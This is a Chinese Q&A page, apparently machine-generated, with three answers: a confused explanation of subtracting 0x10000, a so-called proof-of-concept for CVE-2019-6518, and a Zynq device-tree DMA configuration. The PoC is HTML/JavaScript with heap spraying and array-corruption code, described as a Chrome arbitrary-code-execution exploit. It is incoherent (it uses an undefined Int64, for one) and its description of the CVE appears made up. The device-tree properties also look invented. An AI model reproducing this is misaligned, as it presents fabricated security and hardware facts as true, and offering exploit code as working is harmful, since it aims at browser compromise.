num-=0x10000的作用是什么
时间: 2024-04-04 10:35:21 浏览: 13
在计算机中,16进制是一种常用的表示数字的方式,一个16进制数可以表示为两个字节(16位)。当一个16位的数超出了它能够表示的最大范围(即65535),计算机会对这个数进行截断,只保留低16位的值,高位的值将被丢弃。
因此,当一个计算需要计算一个超出16位的数时,程序员可以使用多个16位数相加的方法来实现。在这种情况下,当程序员对一个变量进行减去0x10000的操作时,实际上是将该变量的值减去2的16次方(即65536),这样就可以获得正确的结果。
例如,如果一个变量num的值为0x12000,它超出了16位能够表示的范围,那么执行num-=0x10000操作后,num的值将变为0x2000,这样就可以得到正确的结果。
相关问题
cve-2019-6518编写poc
CVE-2019-6518是Chrome浏览器的一个漏洞,攻击者可以通过该漏洞在用户计算机上执行任意代码。这个漏洞在Chrome 72之前的版本中存在。
以下是一个简单的POC:
```html
<!DOCTYPE html>
<html>
<head>
<title>CVE-2019-6518 POC</title>
</head>
<body>
<script>
var spray = new Array();
var i = 0;
for (; i < 0x100; i++) {
spray[i] = new Uint32Array(0x1000);
}
var oobArray = new Array(1);
var maxSizeInDouble = 0x7fffffff;
oobArray[0] = 0.1;
var maxSizeInInt = new Int64(maxSizeInDouble);
var idx = 0;
var victim = null;
function gc() {
for (let i = 0; i < 0x10; i++) {
new ArrayBuffer(0x1000000);
}
}
function spray_dv() {
var dv = new DataView(new ArrayBuffer(8));
var o = {a: 0};
var array = [o, 0.1, o];
var unboxed = new Array(0x1000).fill(0.1);
var boxed = [{}];
boxed[0]['a'] = {};
boxed[0]['a']['b'] = 1.1;
boxed[0]['c'] = unboxed;
var maxInt = 0x7ffffff0;
var minInt = 0x01000000;
var kMaxNumIter = 100000;
for (var k = 0; k < kMaxNumIter; k++) {
var idx = ((maxInt - minInt) * Math.random()) + minInt;
dv.setInt32(0, idx, true);
var num = dv.getFloat64(0, true);
if ((num >= 0x01000000 && num <= 0x7fffffff) ||
(num >= -0x80000000 && num < -0x7ffffff0) ||
(num >= -0x100000000 && num < -0xfffffffe)) {
return;
}
}
}
function trigger() {
var o = {a: 1.2};
var arr = [o, 0.1, o];
var n = arr.length - 1;
var idx = 0x7ffffff0;
var dv = new DataView(new ArrayBuffer(8));
var unboxed = new Array(0x1000).fill(0.1);
var boxed = [{}];
boxed[0]['a'] = {};
boxed[0]['a']['b'] = 1.1;
boxed[0]['c'] = unboxed;
var maxInt = 0x7ffffff0;
var minInt = 0x01000000;
var kMaxNumIter = 100000;
for (var k = 0; k < kMaxNumIter; k++) {
var idx = ((maxInt - minInt) * Math.random()) + minInt;
dv.setInt32(0, idx, true);
var num = dv.getFloat64(0, true);
if ((num >= 0x01000000 && num <= 0x7fffffff) ||
(num >= -0x80000000 && num < -0x7ffffff0) ||
(num >= -0x100000000 && num < -0xfffffffe)) {
break;
}
}
arr[n] = victim;
}
function corrupt() {
gc();
spray_dv();
oobArray[0] = 1.1;
victim = oobArray[0];
for (i = 0; i < 10000; i++) {
trigger();
}
alert(victim);
}
corrupt();
</script>
</body>
</html>
```
该POC利用了Chrome中的数组越界漏洞,通过这个漏洞可以读写到数组之外的内存,从而达到任意代码执行的目的。请注意,这个POC只是一个演示,如果您想在实际环境中使用它,请务必小心,因为它可能会导致严重的安全问题。
DMA读取DDR的设备树配置
在设备树中配置DMA读取DDR需要做以下几步:
1. 配置DMA控制器节点
在设备树中配置一个DMA控制器节点,例如:
```
dma@f8003000 {
compatible = "xlnx,zynq-dma-1.00.a";
reg = <0xf8003000 0x1000>;
interrupts = <0 30 4>;
xlnx,device-id = <0x0>;
xlnx,include-sg ;
xlnx,sg-length-width = <0x10>;
dma-channel@40400000 {
compatible = "xlnx,axi-dma-mm2s-channel";
interrupts = <0 30 4>;
xlnx,datawidth = <0x20>;
xlnx,device-id = <0x0>;
xlnx,max-transfer-size = <0x800000>;
xlnx,sg-length-offset = <0x4>;
xlnx,scatter-gather-enable;
xlnx,include-dre;
};
};
```
2. 配置DDR控制器节点
在设备树中配置一个DDR控制器节点,例如:
```
ddr@3ed00000 {
compatible = "xlnx,zynq-ddr-3.10.a";
reg = <0x3ed00000 0x10000>;
clocks = <&clkc 12>;
clock-names = "ddrc";
phys = <&ps7_ddr_0>;
memory-controller {
device_type = "memory-controller";
reg = <0x0 0x10000>;
xlnx,ddr-phyclock-800mhz;
xlnx,ddr-num-ranks = <0x1>;
xlnx,ddr-memory-depth = <0x10000000>;
xlnx,ddr-row-width = <0x14>;
xlnx,ddr-bank-width = <0x3>;
xlnx,ddr-data-width = <0x40>;
xlnx,ddr-cas-latency = <0x4>;
xlnx,ddr-bank-groups = <0x1>;
xlnx,ddr-timing = <0x0000305a 0x00001d18 0x0000018e 0x00000030>;
xlnx,ddr-calibration = <0x0000016e 0x00000080 0x00000084>;
xlnx,ddr-device-id = <0x1>;
};
};
```
3. 配置DMA读取节点
在设备树中配置一个DMA读取节点,例如:
```
dma_read@43c00000 {
compatible = "xlnx,dma-read";
reg = <0x43c00000 0x10000>;
interrupts = <0 53 4>;
xlnx,device-id = <0x0>;
xlnx,dma-channel = <&dma 0>;
xlnx,ddr-address = <0x3ed00000>;
xlnx,ddr-length = <0x1000000>;
};
```
其中,`xlnx,dma-channel`属性需要指定DMA控制器节点中的DMA通道节点,`xlnx,ddr-address`属性需要指定DDR控制器节点的物理地址,`xlnx,ddr-length`属性需要指定读取的数据长度。